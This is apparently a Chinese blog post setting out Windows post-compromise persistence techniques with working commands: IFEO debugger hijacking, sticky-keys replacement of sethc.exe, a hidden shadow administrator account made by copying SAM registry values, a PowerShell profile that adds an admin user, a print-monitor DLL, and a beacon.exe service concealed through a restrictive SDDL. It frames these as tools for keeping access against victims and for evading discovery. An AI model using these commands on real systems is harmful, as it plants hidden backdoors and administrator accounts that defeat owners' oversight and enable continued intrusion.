Windows 权限维持

1.php不死马

可以对php不死马做一个隐藏和删除

这样在服务器重启之前权限都会一直存在

 

2.映像劫持技术

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image FileExecution Options

在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建了一个
moon.exe
然后在moon.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径,我这里以
cmd.exe为例。
将任意一个exe文件修改为moon.exe那就会运行到我们所隐藏的后门文件
简单来说就是你运行的程序的名字和实际上运行的程序的名字可能不一是一个名字
运行qq.exe 但是实际上运行的是我的后门文件
然后受害者可能还在疑惑为啥今天qq打不开
这个时候后门已经开始运行了
 
 
 
3.策略组脚本维持
输入gpedit.msc 打开组策略,打开 windows设置 脚本 
启动脚本存放位置
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

能自启动执行我们的后门脚本

 

4.shift 后门

首先要更改sethc.exe拥有者为administrator

这里更改还是费了一些功夫的需要注意一下

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

 

5.影子账号

通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的。
通过管理用户可查到用户
通过创建影子账户则可以完全解决这种问题。
打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
3ea是moonsec$用户 1F4是超级管理员的值
将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出moonsec$以及3EB。
删除 ner user moonsec$ /del 删除这个用户 再导入注册表 可以看到 用户已经不现实在这个面板
了。
这里的3ea实际上可能是其他的值
但1f4一直都会是1f4
然后导出的话3ea和用户都需要一块导出,一块导入
计算机管理里差不到用户了,但是注册表里还是可以查到用户的
 
6.powershell配置文件后门

简单来说就是配置powershell自启动文件

依次输入以下命令,查看当前是否存在配置文件。
echo $profile
Test-path $profile
如果返回false则需要创建一个
New-Item -Path $profile -Type File –Force
然后写入命令,这里我以创建一个用户为目标,也可以写成反弹shell的,因为之前测试过程中写入过数
据,所以这里我是三条内容。
 
1.bat内容
net user moon 123456 /add & net localgroup administrators moon /add
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

这里后门文件未执行成功得多注意一下后门文件是否本身出了问题

 

7.Monitor 权限维持
项目地址 https://github.com/Al1ex/Monitor

使用说明github里都给了

 

 使用的dll payload 名字一定要和这个一样

持久化实现 
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v
"Driver" /d "test.dll" /t REG_SZ

每次重启时就会重新调用

 

8.利用安全描述符隐藏服务后门进行权限维持
通过注册服务创建后门
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell
来进行创建。
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k
C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto
powershell创建自启动服务 
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking
3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" –
StartupType AutomaticDelayedStart 
但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏服务
众所周知,windows访问控制模型分为两部分:
access token(访问令牌)
安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安
全描述符可以包含以下安全信息:
对象的所有者和主要组的 Sid(安全标识符)
用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
指定为对象生成审核记录的访问尝试类型的 SACL 。
一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其
SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
隐藏命令
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)
(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)
(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

说实话我也看不懂,执行命令就完了

然后通过sc与get-server查找服务均无结果: 
sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0" 
在知道服务名的前提下查询会显示拒绝访问:
sc query ".NET CLR Networking 3.5.0.0" 

这里需要修改一下注册表ACL

否则会出现注册表中会有异常路径

详细  https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw 

 

9.iis后门 

bin目录和web.config文件一定要放到wwwroot目录下

 

10.window 隐藏技术 
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和
隐藏文件属性。
 
11.驱动级文件隐藏 
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xosla
b.com/efl.html
 
posted @ 2022-04-09 16:31  r0nGer  阅读(259)  评论(0)    收藏  举报